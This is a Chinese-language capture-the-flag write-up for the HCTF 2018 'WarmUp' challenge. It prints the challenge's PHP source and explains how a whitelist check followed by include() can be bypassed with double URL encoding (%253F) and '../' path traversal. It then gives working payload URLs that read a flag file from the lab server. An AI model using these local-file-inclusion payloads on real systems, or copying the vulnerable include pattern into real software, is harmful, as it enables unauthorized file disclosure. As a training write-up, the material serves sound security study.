zoukankan      html  css  js  c++  java
  • [HCTF 2018]WarmUp

    查看源代码,发现有提示,source.php

     

    访问source.php,得到如下源代码

     1 <?php
     2     highlight_file(__FILE__);
     3     class emmm
     4     {
     5         public static function checkFile(&$page)
     6         {
     7             $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
     8             if (! isset($page) || !is_string($page)) {
     9                 echo "you can't see it";
    10                 return false;
    11             }
    12 
    13             if (in_array($page, $whitelist)) {
    14                 return true;
    15             }
    16 
    17             $_page = mb_substr(
    18                 $page,
    19                 0,
    20                 mb_strpos($page . '?', '?')
    21             );
    22             if (in_array($_page, $whitelist)) {
    23                 return true;
    24             }
    25 
    26             $_page = urldecode($page);
    27             $_page = mb_substr(
    28                 $_page,
    29                 0,
    30                 mb_strpos($_page . '?', '?')
    31             );
    32             if (in_array($_page, $whitelist)) {
    33                 return true;
    34             }
    35             echo "you can't see it";
    36             return false;
    37         }
    38     }
    39 
    40     if (! empty($_REQUEST['file'])
    41         && is_string($_REQUEST['file'])
    42         && emmm::checkFile($_REQUEST['file'])
    43     ) {
    44         include $_REQUEST['file'];
    45         exit;
    46     } else {
    47         echo "<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" />";
    48     }  
    49 ?> 

    代码有一个emmm类可以不用先浏览,直接看整体代码执行逻辑

    1 if (! empty($_REQUEST['file'])
    2         && is_string($_REQUEST['file'])
    3         && emmm::checkFile($_REQUEST['file'])
    4     ) {
    5         include $_REQUEST['file'];
    6         exit;
    7     } else {
    8         echo "<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" />";
    9     }  

    第5行有include函数,表示可能存在文件包含漏洞

    第1行的if语句表示如果file参数不为空,为字符串,并且通过emmm类的checkFile函数后,便能进行文件包含操作

    从source.php代码第7行可以知道我们需要进行白名单文件包含绕过

    1 $whitelist = ["source"=>"source.php","hint"=>"hint.php"];

    source.php第20行代码的意思是在$page参数后面添加?,然后截取一直到?的长度,意思就是计算$page字符串的长度

    1  mb_strpos($page . '?', '?')

    mb_strpos()

    访问hint.php,发现如下提示

     

    ffffllllaaaagggg可能是一个文件,但是不知道具体位置,在CTF比赛中一般来说就是系统根目录或者网站根目录

    source.php第26行代码为重点,这个地方进行了url解码,所以可以尝试进行二次编码绕过

    1 $_page = urldecode($page);

    payload

    1 http://8d6d6d29-dd4d-4110-9c8a-f3f22aafcbcc.node3.buuoj.cn/source.php?file=hint.php%253F/../hint.php

    URL编码转换如下展示

    %25-->%

    %3F-->?

    %253F-->%3F-->?

    1 $_page = mb_substr(
    2    $_page,
    3    0,
    4    mb_strpos($_page . '?', '?')
    5 );

    这段代码会截取hint.php的长度,然后将hint.php赋值给$_page,因为hint.php在白名单内,所以绕过了检测,另外代码没有进行../目录穿越的过滤

    所以尝试一级一级的穿越,查找flag文件

    最终payload如下

    1 http://8d6d6d29-dd4d-4110-9c8a-f3f22aafcbcc.node3.buuoj.cn/source.php?file=hint.php%253F/../../../../ffffllllaaaagggg

    为什么是4个../,包含的文件在一级目录,linux的web目录应该为/var/www/html

  • 相关阅读:
    2018-8-10-win10-uwp-win2d-使用-Path-绘制界面
    2018-8-10-win10-uwp-win2d-使用-Path-绘制界面
    PHP money_format() 函数
    PHP metaphone() 函数
    PHP md5_file() 函数
    PHP md5() 函数
    PHP ltrim() 函数
    查看统计信息
    CF960F Pathwalks_权值线段树_LIS
    hdu 5691 Sitting in line 状压动归
  • 原文地址:https://www.cnblogs.com/gtx690/p/13158546.html
Copyright © 2011-2022 走看看